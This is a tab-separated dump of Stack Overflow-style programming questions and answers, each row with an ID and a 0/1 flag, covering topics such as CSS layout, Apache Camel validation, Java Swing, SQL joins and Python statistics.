3906533	0	The opposite of 2 ^ n <p>The function a = 2 ^ b can quickly be calculated for any b by doing <code>a = 1 &lt;&lt; b</code>. What about the other way round, getting the value of b for any given a? It should be relatively fast, so <strong>logs are out of the question</strong>. Anything that's not O(1) is also bad.</p> <p>I'd be happy with <em>can't be done</em> too if its simply not possible to do without logs or a search type thing.</p>
9950737	1	How to avoid circular dependencies when setting Properties? <p>This is a design principle question for classes dealing with mathematical/physical equations where the user is allowed to set any parameter upon which the remaining are being calculated. In this example I would like to be able to let the frequency be set as well while avoiding circular dependencies.</p> <p>For example:</p> <pre><code>from traits.api import HasTraits, Float, Property from scipy.constants import c, h class Photon(HasTraits): wavelength = Float # would like to do Property, but that would be circular? frequency = Property(depends_on = 'wavelength') energy = Property(depends_on = ['wavelength, frequency']) def _get_frequency(self): return c/self.wavelength def _get_energy(self): return h*self.frequency </code></pre> <p>I'm also aware of an update trigger timing problem here, because I don't know the sequence the updates will be triggered:</p> <ol> <li>Wavelength is being changed</li> <li>That triggers an updated of both dependent entities: frequency and energy</li> <li>But energy needs frequency to be updated so that energy has the value fitting to the new wavelength!</li> </ol> <p>(The answer to be accepted should also address this potential timing problem.)</p> <p>So, what' the best design pattern to get around these inter-dependent problems? At the end I want the user to be able to update either wavelength or frequency and frequency/wavelength and energy shall be updated accordingly.</p> <p>This kind of problems of course do arise in basically all classes that try to deal with equations.</p> <p>Let the competition begin! ;)</p>
16818943	0	 <p>If I'm not mistaken, scikit.audiolab is merely for reading/writing audio files but I think in addition you'll want to look at the signal processing libraries in scipy to actually build your feature vectors.</p> <p><a href="http://docs.scipy.org/doc/scipy/reference/signal.html" rel="nofollow">http://docs.scipy.org/doc/scipy/reference/signal.html</a></p>
32749999	0	 <p>We use a custom form framework (called ShockOut SPForms) that allows us to display content based on group membership. We make the form as a .aspx file in the site (using sharepoint designer). <a href="https://github.com/jbonfardeci/ShockoutForms" rel="nofollow">Click here</a> to check out the framework. Using this custom framework allows us to make very customized forms by using some html and a little javascript. </p> <p>You asked how to write the access control into the workflow, so my answer may not be right on target. However, the workflow does not control access to the list data. </p> <p>Column level permissions are not included in SharePoint to my knowledge. You may need to split the information into separate lists to enable access control. </p> <p>Using a custom form and some queries to the REST or SOAP api, you could accomplish your result. (Note: this last suggestion is for SharePoint experts).</p>
6239807	0	 <p>It sounds like you want to compare a short term (5-day) moving average to a longer-term moving average (e.g., something like 90 days).</p> <p>As a refinement, you might want to do a least-squares linear regression over the longer term, and then compare the shorter term average to the projection you get from that.</p>
17824370	0	 <p>I would use the provided utility sqldump to do this. It will dump out the table you want direct to a CSV file suffixed with .dsql. Works on all platforms. The table parameter works with wildcards so you can select to dump out all tables at once (change the PUB.ABCCode to PUB.% in example below. </p> <p>In my testing this is 80% faster than using EXPORT command in 4GL code.</p> <pre><code>c:\program files\epicor\&gt;sqldump -u XXXX -a XXXX -t PUB.ABCCode progress:T:l </code></pre> <p>ocalhost:9450:mfgsys</p> <pre><code>OpenEdge Release 10.2A0329 as of Thu Apr 19 10:02:30 EDT 2012 Table : PUB.ABCCode Dump file : PUB.ABCCode.dsql Dumped 10 Records, 1647 bytes, 1 seconds. Dumped 1 Tables c:\program files\epicor\&gt; </code></pre>
40201607	0	 <p>It happens because of the padding. If you don't use <code>box-sizing:border-box;</code> and add background to that bootstrap column, the background applies to the padding as well. I've added this global rule to your jsfiddle:</p> <pre><code>* { box-sizing: border-box; } </code></pre> <p>and it all works how you intended. Read up on box-sizing, I always use border-box when I build my sites, this way there is no surprises when it comes to sizes of the elements when I add padding or border.</p> <p><a href="https://jsfiddle.net/e1vx1mhb/1/" rel="nofollow">https://jsfiddle.net/e1vx1mhb/1/</a></p>
26149978	0	 <p>Qualify the final line with the namespace of where the protocol was defined. I kept thinking to try to call the <code>whatever</code> method in the <code>other</code> namespace since it was defined there.</p> <pre><code>(what/whatever (-&gt;Other)) </code></pre> <p>Thanks goes to @soulcheck and everyone else who took time to help.</p>
24429143	0	 <p>To keep it flexible you may use macrodef with nested element attribute for 1-n filesets, f.e.<br> a macrodef that creates a dirlisting in xmlformat for nested filesets :<br></p> <pre><code>&lt;macrodef name="dir2xml"&gt; &lt;attribute name="file" description="xmlfile for filelisting"/&gt; &lt;attribute name="roottag" description="xml root tag"/&gt; &lt;attribute name="entrytag" description="xml tag for entry"/&gt; &lt;element name="fs" description="nested filesets for listing"/&gt; &lt;sequential&gt; &lt;pathconvert property="files.xml" dirsep="/" pathsep="&amp;lt;/@{entrytag}&amp;gt;${line.separator} &amp;lt;@{entrytag}&amp;gt;" &gt; &lt;!-- 1-n nested fileset(s) --&gt; &lt;fs/&gt; &lt;/pathconvert&gt; &lt;!-- create xmlfile --&gt; &lt;echo message="&amp;lt;@{roottag}&amp;gt;${line.separator} &amp;lt;@{entrytag}&amp;gt;${files.xml}&amp;lt;/@{entrytag}&amp;gt;${line.separator}&amp;lt;/@{roottag}&amp;gt;" file="@{file}"/&gt; &lt;/sequential&gt; &lt;/macrodef&gt; </code></pre> <p>Usage :<br></p> <pre><code>&lt;dir2xml file="filelistant.xml" entrytag="antfile" roottag="antfilelist"&gt; &lt;fs&gt; &lt;fileset dir="." includes="**/*.xml"/&gt; &lt;fileset dir="../ant_xml" includes="**/*.xml"/&gt; &lt;/fs&gt; &lt;/dir2xml&gt; </code></pre>
21732797	0	Provide Custom message on Camel Validation <p>I am trying to provide a custom message upon validation failure as oppose to the sending the stack trace to the user. It seems I am not understanding how to do this. My route is as follows:</p> <pre><code> &lt;route&gt; &lt;from uri="restlet:/foo"/&gt; &lt;onException&gt; &lt;exception&gt;org.apache.camel.ValidationException&lt;/exception&gt; &lt;transform&gt; &lt;simple&gt;Validate your stuff&lt;/simple&gt; &lt;/transform&gt; &lt;stop/&gt; &lt;/onException&gt; &lt;validate&gt;&lt;constant&gt;false&lt;/constant&gt;&lt;/validate&gt; &lt;to uri="mock:result"/&gt; &lt;/route&gt; </code></pre> <p>I tried to place the onException before or after the validation. Neither works. What I want to return to the user is 'Validate your stuff' as opposed to the complete stack trace. </p> <p>Any clue?</p>
5359321	0	 <p>I finally found the answer myself.</p> <p>It is possible to query the "like" table using the comment "xid" as a "post_id".</p> <pre><code>SELECT post_id, user_id FROM like WHERE post_id = &lt;comment xid&gt; </code></pre>
18960152	0	 <p>This is quite hacky, but should work:</p> <pre><code>:path =&gt; @path.as_json.merge(:questions =&gt; @path.questions.as_json) </code></pre> <p>Eventually you can override as_json inside your model:</p> <pre><code>def as_json(options={}) includes = [*options.delete(:include)] hash = super(options) includes.each do |association| hash[self.class.name.underscore][association.to_s] = self.send(association).as_json end hash end </code></pre> <p>And then just call: <code>:path =&gt; @path.as_json(:include =&gt; :questions)</code></p> <p>Note it will also add <code>:include</code> option to to_json method. </p>
22407806	0	 <p>You need to reference the image relative to your pages. For example, if your site is structured built in a folder called public_html and your page your image is to be located on is index.html and you've placed an image called example.jpg in a folder called img within public_html, you could reference that image from index.html with the following:</p> <pre><code>&lt;img src="img/example.jpg" alt="" /&gt; </code></pre> <p>For security purposes, you can't reference local images, they need to be uploaded somewhere. Say you uploaded the image to the root of example.com you would change the src to "<a href="http://www.example.com/example.jpg" rel="nofollow">http://www.example.com/example.jpg</a>"</p> <p>Since you want it as your background image, you should use some css such as:</p> <pre><code>body {background:url('img/example.jpg') repeat;} </code></pre>
4368012	0	 <p>Look into <a href="http://dev.mysql.com/doc/refman/5.0/en/join.html" rel="nofollow">joins</a> for selecting data from multiple tables:</p> <pre><code>SELECT * FROM Prices LEFT JOIN (Vendors, Products) ON (Products.product_id=Prices.product_id AND Vendors.vendor_id=Prices.vendor_id) </code></pre>
13195822	0	 <p>You could take a dictionary but make sure that you prevent duplicate key insertion. Keys of dictionary would serve as the unique numbers you need</p>
11567649	0	 <p>You likely have a retain loop. Use the Allocations tool in Instruments with <a href="http://www.friday.com/bbum/2010/10/17/when-is-a-leak-not-a-leak-using-heapshot-analysis-to-find-undesirable-memory-growth/" rel="nofollow">Heapshot</a> to find it.</p>
12284387	0	 <p>Take a look at this link <a href="https://developers.google.com/analytics/resources/articles/gdata-migration-guide" rel="nofollow">https://developers.google.com/analytics/resources/articles/gdata-migration-guide</a>. Look at section "Create a Project in the Google APIs Console" it will walk you through the whole process. This is what I used and it helped.</p>
34461270	0	 <p>Don't bother with splicing the array, just create a new one:</p> <pre><code>var newArray = []; $('#clearChecked').click(function() { $('#keyWords &gt; input').each( function (n, obj) { if ($(obj).is(':checked')) { newArray.push($(obj).val()); } } }); localArray = newArray; </code></pre>
36595895	0	 <p>This should work (though not recommended)</p> <pre><code>^(55[0-5]|5[0-4][0-9]|[1-4][0-9][0-9]|[1-9][0-9]|[5-9])$ </code></pre> <p><strong><a href="https://regex101.com/r/mX2eE9/3" rel="nofollow">Regex Demo</a></strong></p> <p><strong><a href="http://ideone.com/gM4waF" rel="nofollow">Proof of correctness</a></strong></p>
22219282	0	 <p>It is probably because you are not calling the method from UI thread. Try using Dispatcher.BeginInvoke:</p> <pre class="lang-cs prettyprint-override"><code>Dispatcher.BeginInvoke(()=&gt; { tbl1.Text = ""; tbl1.Visibility = System.Windows.Visibility.Collapsed; }); </code></pre>
2212998	0	How to restrict renaming a file in VB.NET? <p>Is it possible to restrict renaming a exported file in <a href="http://en.wikipedia.org/wiki/Visual_Basic_.NET" rel="nofollow noreferrer">VB.NET</a>?</p>
11474265	0	 <p>Do you know what type of server your using? If IIS, you need to make sure that it's set up to work with your file extensions.</p>
3018906	0	 <blockquote> <p>But what if you wanted to model Mt. Everest?</p> </blockquote> <p>You'd use something else. Clearly, if every engine you've encountered uses heightmaps, it works just fine for them. No need to overcomplicate things if the simple solution works for you.</p>
36922012	0	 <p>Okay, I think my issue was forgetting how multinomial regression works. The prediction formula for multinomial regression is</p> <p><a href="https://i.stack.imgur.com/IX4xO.gif" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/IX4xO.gif" alt="enter image description here"></a></p> <p>So you need a set of coefficients for every class.</p>
8773966	0	 <p>The <code>readlines()</code> method of a file object returns a list of the lines of the file <em>including the newline characters</em>. Your checks compare with strings not including newline characters, so they always fail.</p> <p>One way of getting rid of the newline characters is</p> <pre><code>lines = (line.strip() for line in open("out2.txt")) </code></pre> <p>(Note that you don't need <code>readlines()</code> -- you can directly iterate over the file object itself.)</p>
5106441	0	 <p>Literal bytes, shorts, integers and longs starting with <code>0</code> are interpreted as being <a href="http://en.wikipedia.org/wiki/Octal" rel="nofollow">octal</a></p> <blockquote> <p>The integral types (byte, short, int, and long) can be expressed using decimal, octal, or hexadecimal number systems. Decimal is the number system you already use every day; it's based on 10 digits, numbered 0 through 9. The octal number system is base 8, consisting of the digits 0 through 7. The hexadecimal system is base 16, whose digits are the numbers 0 through 9 and the letters A through F. For general-purpose programming, the decimal system is likely to be the only number system you'll ever use. However, if you need octal or hexadecimal, the following example shows the correct syntax. The prefix 0 indicates octal, whereas 0x indicates hexadecimal.</p> </blockquote> <p>from <a href="http://download.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html" rel="nofollow">Primitive Data Types</a></p>
16374870	0	Fancybox gallery with images in different places <p>I have a (html) page with an image gallery (all images together) and one separate image.</p> <p>I put all the images from the image gallery in a</p> <pre><code>&lt;div id="imageGallery"&gt; </code></pre> <p>I put the separate image in a</p> <pre><code>&lt;div id="separateImage"&gt; </code></pre> <p>and I have javascript</p> <pre><code>$('#imageGallery a').fancybox(); $('#separateImage a').fancybox(); </code></pre> <p>Fancybox works fine on both, the image gallery and the separate image. I can cycle through the image gallery, however, the separate image is not part of the cycle. How can I make it so that it cycles through all the images: those from the image gallery and the separate image?</p> <p>I tried adding</p> <pre><code>rel="gallery" </code></pre> <p>to the anchors as explained at <a href="https://www.inkling.com/read/javascript-jquery-david-sawyer-mcfarland-2nd/chapter-7/advanced-gallery-with-jquery" rel="nofollow">https://www.inkling.com/read/javascript-jquery-david-sawyer-mcfarland-2nd/chapter-7/advanced-gallery-with-jquery</a></p> <p>but apparently this only works if all images are in the same div (id)!?</p>
10393734	0	 <p>The second one is a completely different selector. <code>tr .c</code> with a space in between looks for an element with class name "c" that has an ancestor <code>&lt;tr&gt;</code> element. The first one <code>tr.c</code> looks for a <code>&lt;tr&gt;</code> element that has the class name "c".</p> <p>This has nothing to do with specificity, but instead your understanding of CSS.</p>
18535855	0	 <blockquote> <p><em>Is there some kind of "interpolate string" function, where I can add hash k-v pairs to an existing hash.</em></p> </blockquote> <p>No need for <em>interpolation</em>.</p> <p>Do this:-</p> <pre><code> merge(attribute_name =&gt; stuff) </code></pre> <blockquote> <p><em>Another thing, what happens in this function is that I have an empty array called "scores", fill it up with the candidate+score hashes, and return the array scores at the end, is there some kind of syntactic sugar or something for this?</em></p> </blockquote> <pre><code>attribute_name = "key_i_want" candidates.each_with_object([]) do |candidate,scores| scores.push candidate.attributes.merge(attribute_name =&gt; stuff) end </code></pre>
3876002	0	 <p>Smalltalk's keyword-like syntax for method calls inherently defines the arity of the method. There's no <code>&amp;rest</code> pattern like in Common Lisp.</p> <p>You can of course have a method take a list, like <code>BlockClosure&gt;&gt;valueWithArguments:</code> but that's hardly the same thing.</p> <p>You might modify <code>Compiler</code> to support variadic method calls. Maybe the call would simply have <code>with:</code> between each of the variables:</p> <p>(condition) ifTrue: aBlock elseIf: aBoolean with: aSecondBlock with: anotherBoolean with: aThirdBlock</p>
31539404	0	Way to Attach to an Oxyplot render exception <p>I have an oxyplot plot that is occasionally throwing an exception and displaying it to my users, but it does not bubble up to my application. Is there a way to attach to an event that occurs when this exception is thrown? Or some other way to bubble the exception up so I can see what it is and deal with it appropriately?</p>
11952461	0	 <p>Check out e.g. the <a href="http://en.cppreference.com/w/cpp/string/byte/strtok" rel="nofollow"><code>strtok</code></a> function. Use it in a loop to split at the <code>'&amp;'</code> to get all the key-value pairs into a vector (for example). Then go though the vector splitting each string (you can use <code>strtok</code> again here) at the <code>'='</code> character. You can put the keys and values in a <code>std::map</code>, or use directly.</p> <p>For an even more C++-specific method, use e.g. <a href="http://en.cppreference.com/w/cpp/string/basic_string/find" rel="nofollow"><code>std::string::find</code></a> and <a href="http://en.cppreference.com/w/cpp/string/basic_string/substr" rel="nofollow"><code>std::string::substr</code></a> instead of <code>strtok</code>. Then you can put keys and values directly into the map instead of temporary storing them as strings in a vector.</p> <p><strong>Edit:</strong> How to get the last pair</p> <p>The last key-value pair is not terminated by the <code>'&amp;'</code> character, so you have to check for the last pair <em>after</em> the loop. This can be done by having a copy of your string, and then get the substring after the last <code>'&amp;'</code>. Something like this perhaps:</p> <pre><code>char *copy = strdup(data); // Loop getting key-value pairs using `strtok` // ... // Find the last '&amp;' in the string char *last_amp_pos = strrchr(copy, '&amp;'); if (last_amp_pos != NULL &amp;&amp; last_amp_pos &lt; (copy + strlen(copy))) { last_amp_pos++; // Increase to point to first character after the ampersand // `last_amp_pos` now points to the last key-value pair } // Must be free'd since we allocated a copy above free(copy); </code></pre> <p>The reason we need to use a copy of the string, if because <code>strtok</code> modifies the string.</p> <p>I still would recommend to you use C++ strings instead of relying on the old C functions. It would probably simplify everything, including you not needing to add the extra check for the last key-value pair.</p>
11949181	0	 <p>To get speedups with GPUs, you want to have lots of computation per data element because data transfer is so slow. You usually want 2 or 3 nested for loops running on the GPU with at least a 1000 threads.</p>
21071922	0	 <p>Youre question is confusing on the output you are trying to achieve but,</p> <p>you could use a <code>list</code> like this:</p> <pre><code>list1 = [1,2,3,4] return list1 </code></pre> <p>then you can acsess those values from on variable</p> <p>More on <a href="http://docs.python.org/release/1.5.1p1/tut/lists.html" rel="nofollow">lists</a></p>
24562320	1	math domain error (linalg) in statsmodels.tsa.api.VAR <p>I am trying to use Vector Auto Regression (VAR), but I got this error: ValueError: math domain error</p> <p>Here is my code: (and also I don't know how to give it only one dimensional data)</p> <pre><code> Y = [data[0,:] , data[1,:]] import statsmodels.tsa.api Vmodel = statsmodels.tsa.api.VAR(Y) results = Vmodel.fit(2) results.summary() results.plot() results.plot_acorr() </code></pre> <p>Here is the Error message:</p> <pre><code>Traceback: \AppData\Local\Continuum\Anaconda\myproj\mainProg.py", line 190, in AR results = Vmodel.fit(4) \AppData\Local\Continuum\Anaconda\lib\site-packages\statsmodels\tsa\vector_ar\var_model.py", line 443, in fit return self._estimate_var(lags, trend=trend) \AppData\Local\Continuum\Anaconda\lib\site-packages\numpy\linalg\linalg.py", line 1837, in lstsq nlvl = max( 0, int( math.log( float(min(m, n))/2. ) ) + 1 ) </code></pre> <p>My data type is numpy array of floats.</p> <p>Thanks for your help.</p> <p>Update: Solved by transposing the input data!</p>
9258689	0	tap event not working in view <p>Please check the code below, what I am doing wrong? I want to output to console when tap event on body.</p> <pre><code> Ext.define('iApp.view.LoginView', { extend: 'Ext.Panel', xtype: 'loginViewPanel', config: { style: "background-color: #3f3f3f;", html: 'hello world', listeners: { el: { tap: function() { console.log('tapped'); } } } } }); </code></pre> <p>no output to console...</p>
30741920	0	 <p>Use the query to store the raw quotients and adjust the field's <em>Format</em> property afterward.</p> <pre class="lang-sql prettyprint-override"><code>SELECT ([DB].[Number1] / DB.[Number2]) AS [New Column Name] INTO newTable FROM [OldTable] as DB; </code></pre> <p>You can open the table in Design View and choose <em>"Percent"</em> for the field's <em>Format</em>. If you want to do the same thing with VBA, I tested this in Access 2010:</p> <pre class="lang-vb prettyprint-override"><code>Dim db As DAO.Database Set db = CurrentDb With db.TableDefs("newTable").Fields("New Column Name") .Properties.Append .CreateProperty("Format", dbText, "Percent") End With </code></pre> <p>Another way to approach this would be to create the table, set the field format, and then use an "append query" (instead of a "make table query") to load your data into the table. </p>
10060450	0	RedirectToAction returns to calling Action <p>Inside my Index action I call my NotFound Action. I follow in debug and the if condition tests true, it goes to the "return RedirectToAction("NotFound");" statement, it then goes to Dispose and then returns to the Index Action not the NotFound Action. If I Redirect to the Details Action it works fine. These are all in the same controller. The NotFound View just contains text.</p> <pre><code>if (condition tests true) { return RedirectToAction("NotFound"); } public ActionResult NotFound() { return View(); } </code></pre> <p>I've also tried the NotFound as a ViewResult. It still fails.</p>
21239182	0	 <p>In MapReduce, have the first line of your mapper parse the line it is reading. You can do this with custom parsing logic, or you can leverage pre-built code (in this case, a CSV library).</p> <pre><code>protected void map(LongWritable key, Text value, Context context) throws IOException { String line = value.toString(); CSVParser parser = new au.com.bytecode.opencsv.CSVParser.CSVParser(); try { parser.parseLine(line); // do your other stuff } catch (Exception e) { // the line was not comma delimited, do nothing } } </code></pre>
5127017	0	Automatic Numbering of Headings H1-H6 using jQuery <p>I read <a href="http://stackoverflow.com/questions/535334/html-css-autonumber-headings">related</a> posts, but didn't find a solution for IE, so I ask for a jQuery-solution for this problem:</p> <p>I've some nested hierarchical Headings like this</p> <pre><code>&lt;h1&gt; heading 1&lt;/h1&gt; &lt;h2&gt; subheading 1&lt;/h2&gt; &lt;h1&gt; heading 2&lt;/h1&gt; &lt;h2&gt; subheading 1&lt;/h2&gt; &lt;h2&gt; subheading 2&lt;/h2&gt; </code></pre> <p>I need some automated headings output like this:</p> <pre><code>1. heading 1 1.2 subheading 1 2. heading 2 2.1. subheading 1 2.2. subheading 2 </code></pre> <p>Is there a way how this can be achieved using jQuery or alike, working in IE6+?</p>
38747747	0	 <p>Try this code : </p> <pre><code>YourViewControllerClass *viewController = [[UIStoryboard storyboardWithName:@"MainStoryboard" bundle:nil] instantiateViewControllerWithIdentifier:@"ViewController"]; // instanciate your viewcontroller [(UINavigationController *)[self sideMenuController].rootViewController pushViewController:viewController animated:YES]; //push your viewcontroller [[self sideMenuController] hideRightViewAnimated:YES completionHandler:nil]; //hide the menu </code></pre>
38428975	0	Why can't I see HttpUtility.ParseQueryString Method? <p>I am developing a simple app to consume a web API using this new fantastic .Net core framework. In one of my previous projects I use HttpUtility.ParseQueryString to parse the query string. But I couldn't find any reference to this method in new Asp.Net core RC2 assemblies and packages. It may happen that there is new method available which I don't know yet. I my current project, I have referenced following packages-</p> <pre><code>Microsoft.AspNetCore.Diagnostics": "1.0.0-rc2-final", "Microsoft.AspNetCore.Mvc": "1.0.0-rc2-final", "Microsoft.AspNetCore.Mvc.WebApiCompatShim": "1.0.0-rc2-final", "Microsoft.AspNetCore.Server.IISIntegration": "1.0.0-rc2-final", "Microsoft.AspNetCore.Server.Kestrel": "1.0.0-rc2-final", "Microsoft.AspNetCore.StaticFiles": "1.0.0-rc2-final", "Microsoft.AspNetCore.WebUtilities": "1.0.0", "Microsoft.Extensions.Configuration.Json": "1.0.0-rc2-final", "Microsoft.NETCore.App": { "version": "1.0.0-rc2-3002702", "type": "platform" }, "System.Collections.Specialized": "4.0.1-rc2-24027", "System.Net.Http": "4.0.1-rc2-24027", "System.Runtime.Serialization.Json": "4.0.1" </code></pre> <p>Is there any other package that I need to reference in order to access this Method? </p>
39641416	0	vuforia SDK for an IBM MobileFirst <p>I need to implement a few vuforia functionalities in an IBM MobileFirst existing project.</p> <p>However I see that vuforia has provided SDKs only for android, iOS, UWP and unity.</p> <p>How do I integrate vuforia SDK into my existing IBM MobileFirst project?</p>
11849808	0	 <p>This will omit integer values represented as strings:</p> <pre><code>if(is_numeric($num) &amp;&amp; strpos($num, ".") !== false) { $this-&gt;print_half_star(); } </code></pre>
303680	0	 <p>In C# depending on how the class is used, you could define one class within the scope of the other.</p> <pre><code>public class CBar { CBar() { m_pFoo = new CFoo(); } CFoo m_pFoo; private class CFoo { CFoo() { // Do stuff } } } </code></pre>
27629843	0	Sql Server Insert Into table with values stored proc output with other values <p>Say there is a table</p> <pre><code>CREATE TABLE [Fruit]( [FruitId] [int] NOT NULL Identity(1,1), [Name] [nvarchar](255) NOT NULL, [Description] [nvarchar] (255) NOT NULL, [Param1] [int] NULL, [Param2] [int] NULL) </code></pre> <p>and stored proc where it takes an input and has an output parameter called @description. I cannot modify this stored proc.</p> <pre><code>EXECUTE usp_GetFruitDescription @Name, @Description OUTPUT </code></pre> <p>Now I want to do insert into the [Fruit] table, something like the following.</p> <pre><code>INSERT INTO [Fruit] Values( basket.Name ,EXECUTE usp_GetFruitDescription basket.Name ,basket.Param1 ,basket.Param2) FROM [FruitBasketEntry] basket WHERE basket.type is not null and basket.id &gt; 6 </code></pre> <p>How can this be achieved? I've seen examples of INSERT INTO [table] EXECUTE usp_proc, but I haven't seen it with inserting with other values not from stored proc output. Thanks!</p>
16177890	0	 <p>Had the same problem. You have to define the <code>_gaq</code> array. Just add this after your Google Analytics script in the header:</p> <pre><code>var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXXX-X']); _gaq.push(['_trackPageview']); </code></pre>
36121369	0	 <p>I'm too have same issue and all developers have it. The reason because of new Google play store in the new design the user should click a small button " Top charts" then swipe to reach " top new free" but in the old design the user only swipe to reach " top new free" so old design is more simple to the user also there is another reason preventing the user from reaching " top new free" because in Google play store first page ( homepage) there is tons of apps and games so the user will be busy surfing it and rarly click the small " top charts" button then swipe to reach " top new free" so the problem is entirly from Google play store new design </p>
13438616	0	 <p>If the backing field isn't static, how are you going to obtain an instance for that field when you use it in a static property accessor? Remember that the <code>static</code> modifier on a member means that this member is associated with the <em>type itself</em>, rather than with a particular <em>instance</em> of that type. For a static property to work, it has to have a backing field that is itself static so that it can be implemented accordingly.</p> <p>It's for the same reason that you can't access any non-static members within static methods without having an instance to work with.</p>
19216953	0	I thought I had the program ready to run but when I run it nothing happens <p>So I thought I had this code being able to work but it is not working. I do not know what to do and I have tried looking at everything everyone has suggested but I just do not know what to do so any help would be greatly appreciated!</p> <pre><code>import java.awt.*; import javax.swing.JFrame; import javax.swing.JPanel; import java.awt.BorderLayout; import java.awt.GridLayout; import javax.swing.JButton; import javax.swing.JLabel; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; public class memory extends JPanel{ /** * */ private static final long serialVersionUID = 1L; @Override public void paintComponent(Graphics g) { super.paintComponent(g); g.setColor(new Color(156, 93, 82)); g.fill3DRect(21,3,7,12, true); g.setColor(new Color(156,23,134)); g.fillOval(1,15,15,15); g.fillOval(16,15,15,15); g.fillOval(31,15,15,15); g.fillOval(7,31,15,15); g.fillOval(22,31,15,15); g.fillOval(16,47,15,15); setVisible(false);} public memory() { GridLayout h =new GridLayout(3,3); final JFrame frame = new JFrame(); final JPanel pan = new JPanel(h); frame.add(pan); pan.setBackground(new Color(130,224,190)); pan.setFont(new Font("Serif", Font.BOLD, 28)); JButton button1= new JButton(); pan.add(button1); final JLabel label1= new JLabel("hi"); label1.setVisible(false); pan.add(label1); JButton button2= new JButton(); pan.add(button2); final JLabel label2= new JLabel("hi"); label2.setVisible(false); pan.add(label2); JButton button3= new JButton(); pan.add(button3); final JLabel label3 = new JLabel("hi"); label3.setVisible(false); pan.add(label3); JButton button4 = new JButton(); pan.add(button4); final JLabel label4 = new JLabel("hi"); label4.setVisible(false); pan.add(label4); JButton button5= new JButton(); pan.add(button5); final JLabel label5= new JLabel("hi"); label5.setVisible(false); pan.add(label5); JButton button6= new JButton(); pan.add(button6); final JLabel label6= new JLabel("hi"); label6.setVisible(false); pan.add(label6); JButton button7= new JButton(); pan.add(button7); final JLabel label7= new JLabel("hi"); label7.setVisible(false); pan.add(label7); JButton button8= new JButton(); pan.add(button8); final JLabel label8= new JLabel("hi"); label8.setVisible(false); pan.add(label8); JButton button9= new JButton(); pan.add(button9); final JButton button10= new JButton("Exit"); pan.add(button10); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setTitle("Memory Game"); frame.setSize(500,500); frame.setVisible(true); setLayout(new BorderLayout()); add(pan,BorderLayout.CENTER); add(button10, BorderLayout.SOUTH); setSize(600,600); setVisible(true); final JLabel label9= new JLabel("hi"); label9.setVisible(false); pan.add(label9); button1.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { label1.setVisible(true); } }); button2.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { label2.setVisible(true); } }); button3.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { label3.setVisible(true); } }); button4.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { label4.setVisible(true); } }); button5.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { label5.setVisible(true); } }); button6.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { label6.setVisible(true); } }); button7.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { label7.setVisible(true); } }); button8.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { label8.setVisible(true); frame.getContentPane().add(new memory()); setVisible(true); }}); ; button9.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { label9.setVisible(true);}} ); button10.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { if (button10.getSize() != null) { System.exit(0);}} });}; public static void main(String args[]) { new memory(); }; } </code></pre>
20668832	0	 <p>You can use:</p> <pre><code>is_page( 'page' ); </code></pre> <p>where <code>'page'</code> is the post title</p>
30659591	1	Write text data to array between boundaries <p>I have a problem which i hope you can help me solve! I have a txt that looks like:</p> <pre><code>A100 1960 3 5 6 7 8 9 10 11 12 13 A200 1960 3 5 6 7 8 9 10 11 12 13 14 15 A300 1960 3 5 6 7 8 9 10 11 12 13 14 15 16 17 </code></pre> <p>I want to search for the keyword for example <code>A200 1960</code>. Now I want to save all numbers between <code>A200 1960</code> and <code>A300 1960</code> in an <code>array(x, y)</code>.</p> <p>I managed to skip to the line I want. The problem now is to write to the array until line <code>A300 1960</code>. Also the length of the array can variate.</p> <pre><code>def readnumbers(filename,number,year): number_year = np.asarray([]) f = open(filename) lines = f.readlines() f.close() strings_number = 'A'+ str(number) strings_year = ' ' + str(year) STARTER = strings_number+ '' + strings_year start_seen = False for line in lines: if line.strip() == STARTER: start_seen = True continue if start_seen == True: parts = line.split() </code></pre>
15400725	0	 <pre><code>27 struct timeval tv; 28 struct ExpandedTime etime; 29 gettimeofday(&amp;tv, NULL); 30 localTime(&amp;tv,&amp;etime); </code></pre> <p>This code isn't inside of any function. It's sitting bare naked out in the global scope wilderness. It needs to be shown back home, back inside a function, any function. There are wolves out there.</p>
23672937	0	How to show 1 value from 2 values in combobox xaml? <p>Hi I have a ComboBox with show 2 values name and code I want that when I press the drop down in the ComboBox show the 2 values but when I select from the drop down I want the code only return to combo box then the name return in other TextBox. </p> <pre><code>&lt;ComboBox ItemsSource="{Binding StoreList,Mode=TwoWay}" VerticalAlignment="Center" Grid.Column="1" Name="ItemAutoComplete" SelectedItem="{Binding TransactionHeader.StorePerRow,Mode=TwoWay}" Margin="0,0,105,6" Grid.ColumnSpan="3" IsEnabled="{Binding TransactionHeader.inter, Mode=TwoWay }" SelectedValue="iserial" Grid.Row="2" Height="44"&gt; &lt;ComboBox.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;Grid&gt; &lt;Grid.ColumnDefinitions&gt; &lt;ColumnDefinition Width="*" /&gt; &lt;ColumnDefinition Width="*" /&gt; &lt;/Grid.ColumnDefinitions&gt; &lt;StackPanel&gt; &lt;TextBlock Text="{Binding ENAME}"&gt;&lt;/TextBlock&gt; &lt;TextBlock Text="{Binding code}"&gt;&lt;/TextBlock&gt; &lt;/StackPanel&gt; &lt;/Grid&gt; &lt;/DataTemplate&gt; &lt;/ComboBox.ItemTemplate&gt; &lt;/ComboBox&gt; </code></pre> <p>I want to return the ename in text box </p> <p>and show the code only when I choose from list</p>
